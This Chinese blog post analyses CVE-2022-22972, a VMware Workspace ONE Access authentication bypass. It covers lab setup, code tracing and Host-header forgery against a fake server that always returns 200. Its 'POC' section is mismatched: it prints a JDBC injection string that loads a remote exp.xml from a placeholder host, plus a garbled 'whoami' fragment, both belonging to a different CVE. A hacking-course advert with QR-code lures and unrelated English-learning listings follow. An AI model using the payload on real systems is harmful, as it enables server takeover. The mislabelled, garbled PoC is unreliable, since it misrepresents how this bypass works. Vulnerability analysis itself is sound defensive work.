CVE-2022-22972 VMware Workspace ONE Access 身份认证绕过漏洞分析
创始人
2024-05-21 14:23:31
0

漏洞描述

5 月 18 日,VMware 发布了一份公告 ( VMSA-2022-0014 ),以解决多个 VMware
产品中的两个漏洞,其中包括CVE-2022-22972,该漏洞在身份认证处理时存在一定缺陷。远程攻击者可通过伪造相关请求信息来绕过身份验证,从而获取相关应用程序的管理权限。

相关介绍

VMware是一家提供全球桌面到数据中心虚拟化解决方案的厂商,其推出的产品包括我们最熟悉的VMware
Workstation,一款桌面虚拟计算软件。此次漏洞涉及的多个产品介绍如下:

VMware Workspace ONE Access 是 VMware 公司开发的一款智能驱动型数字化工作空间平台,通过 Workspace ONE
Access 能够随时随地在任意设备上轻松、安全地交付和管理任意应用。VMware vRealize Automation
是自动化部署方案云管平台。VMware Cloud Foundation 是 VMware公司混合云平台。vRealize Suite Lifecycle
Manager 是 vRealize Suite 生命周期和内容管理平台。

利用范围

  • VMware Workspace ONE Access 21.08.0.1, 21.08.0.0,20.10.0.1, 20.10.0.0

  • VMware Identity Manager(vIDM) 3.3.6, 3.3.5, 3.3.4, 3.3.3

  • VMware vRealize Automation(vIDM) 7.6

  • VMware Cloud Foundation (vIDM) 4.4, 4.3.x, 4.2.x, 4.1, 4.0.x

  • VMware Cloud Foundation (vRA) 3.x

  • vRealize Suite Lifecycle Manager(vIDM) 8.x

漏洞分析

简单回顾下CVE-2022-22954(VMware Workspace ONE Access
SSTI漏洞),属于模板注入漏洞,恶意攻击者可以利用此漏洞在未经过身份验证的情况下进行远程任意代码执行;CVE-2022-22957(VMware
Workspace ONE Access
JDBC注入漏洞),由于相关参数完全可控,恶意攻击者可实行JDBC注入,通过写入任意文件等方式获取系统权限。此次的CVE-2022-22972,同样选择VMware
Workspace ONE Access漏洞版本来进行分析,并详细记录环境搭建和漏洞分析复现过程。

环境搭建

先从官网(https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269)下载VMware
Workspace ONE Access 21.08.0.1 OVA文件

使用VMware
Workstation导入OVA文件,配置FQDN(主机名设置为随机域名,不然后续配置数据库时会报错)。

导入成功后会进行初始化,完成后出现如下信息。

访问https://<域名:8443>,根据提示进行账号和数据库配置。

按照要求,一步一步完成配置即可。

为搭建动态调试环境,需将相关源码保存到本地,并使用IDEA开启远程调试

需要的lib文件位于/usr/local/horizon/lib/embeddedauthadapters目录下。

IDEA配置远程调试。

将远程调试命令写入/opt/vmware/horizon/workspace/bin/setenv.sh。

重启服务之后,配置iptables防火墙,允许数据包通过INPUT链和OUTPUT链。

最后访问https://<域名>,到登陆页面,环境搭建成功。

动态分析

抓取登陆数据包,修改Host头为tessdadddd后进行重放。

回到vmware中,查看/opt/vmware/horizon/workspace/logs/horizon.log

在日志中发现,vm对任意输入的host头,发送了HTTP请求,并且因为无法解析而抛出异常。

同时,根据日志信息中整个认证的调用栈,我们将分析的开端定位在local-password-auth-adapter-0.1.jar中。

分析com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login函数。

在获取到账号密码等信息之后,通过getLocalUrl函数来提取参数endpoint

跟进com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl函数。

在getLocalUrl函数中,会构造出一个新的HTTPS请求,其中的主机地址则是通过request.getServerName从HOST头中直接获取。因此这也为我们绕过认证伪造主机地址创造了条件。

继续跟进将回到com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login

此时的endpoint即为新构造的HTTPS请求,主机名则为我们任意输入的tessdadddd。

后续,则会调用authenticate函数来完成认证。

在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以发现。

通过之前的HTTPS请求,使用POST方式发送,后续会直接根据请求返回的状态码来判断是否认证成功,若状态码为200,即认证成功。因此可通过伪造HOST头和伪造HTTPS服务器并保证对任何请求返回状态200,即可实现认证绕过。

漏洞复现

伪造HTTPS服务器,满足对任意请求都返回200。

修改HOST为伪造的HTTPS服务器地址,成功绕过认证并获取有效cookie。

POC

jdbc:postgresql://xxx.xxx.com/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxx/exp.xml

exp.xml

cmd/cwhoami

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

相关内容

热门资讯

常用商务英语口语   商务英语是以适应职场生活的语言要求为目的,内容涉及到商务活动的方方面面。下面是小编收集的常用商务...
六年级上册英语第一单元练习题   一、根据要求写单词。  1.dry(反义词)__________________  2.writ...
复活节英文怎么说 复活节英文怎么说?复活节的英语翻译是什么?复活节:Easter;"Easter,anniversar...
2008年北京奥运会主题曲 2008年北京奥运会(第29届夏季奥林匹克运动会),2008年8月8日到2008年8月24日在中华人...
英语道歉信 英语道歉信15篇  在日常生活中,道歉信的使用频率越来越高,通过道歉信,我们可以更好地解释事情发生的...
六年级英语专题训练(连词成句... 六年级英语专题训练(连词成句30题)  1. have,playhouse,many,I,toy,i...
上班迟到情况说明英语   每个人都或多或少的迟到过那么几次,因为各种原因,可能生病,可能因为交通堵车,可能是因为天气冷,有...
小学英语教学论文 小学英语教学论文范文  引导语:英语教育一直都是每个家长所器重的,那么有关小学英语教学论文要怎么写呢...
英语口语学习必看的方法技巧 英语口语学习必看的方法技巧如何才能说流利的英语? 说外语时,我们主要应做到四件事:理解、回答、提问、...
四级英语作文选:Birth ... 四级英语作文范文选:Birth controlSince the Chinese Governmen...
金融专业英语面试自我介绍 金融专业英语面试自我介绍3篇  金融专业的学生面试时,面试官要求用英语做自我介绍该怎么说。下面是小编...
我的李老师走了四年级英语日记... 我的李老师走了四年级英语日记带翻译  我上了五个学期的小学却换了六任老师,李老师是带我们班最长的语文...
小学三年级英语日记带翻译捡玉... 小学三年级英语日记带翻译捡玉米  今天,我和妈妈去外婆家,外婆家有刚剥的`玉米棒上带有玉米籽,好大的...
七年级英语优秀教学设计 七年级英语优秀教学设计  作为一位兢兢业业的人民教师,常常要写一份优秀的教学设计,教学设计是把教学原...
我的英语老师作文 我的英语老师作文(通用21篇)  在日常生活或是工作学习中,大家都有写作文的经历,对作文很是熟悉吧,...
英语老师教学经验总结 英语老师教学经验总结(通用19篇)  总结是指社会团体、企业单位和个人对某一阶段的学习、工作或其完成...
初一英语暑假作业答案 初一英语暑假作业答案  英语练习一(基础训练)第一题1.D2.H3.E4.F5.I6.A7.J8.C...
大学生的英语演讲稿 大学生的英语演讲稿范文(精选10篇)  使用正确的写作思路书写演讲稿会更加事半功倍。在现实社会中,越...
VOA美国之音英语学习网址 VOA美国之音英语学习推荐网址 美国之音网站已经成为语言学习最重要的资源站点,在互联网上还有若干网站...
商务英语期末试卷 Part I Term Translation (20%)Section A: Translate ...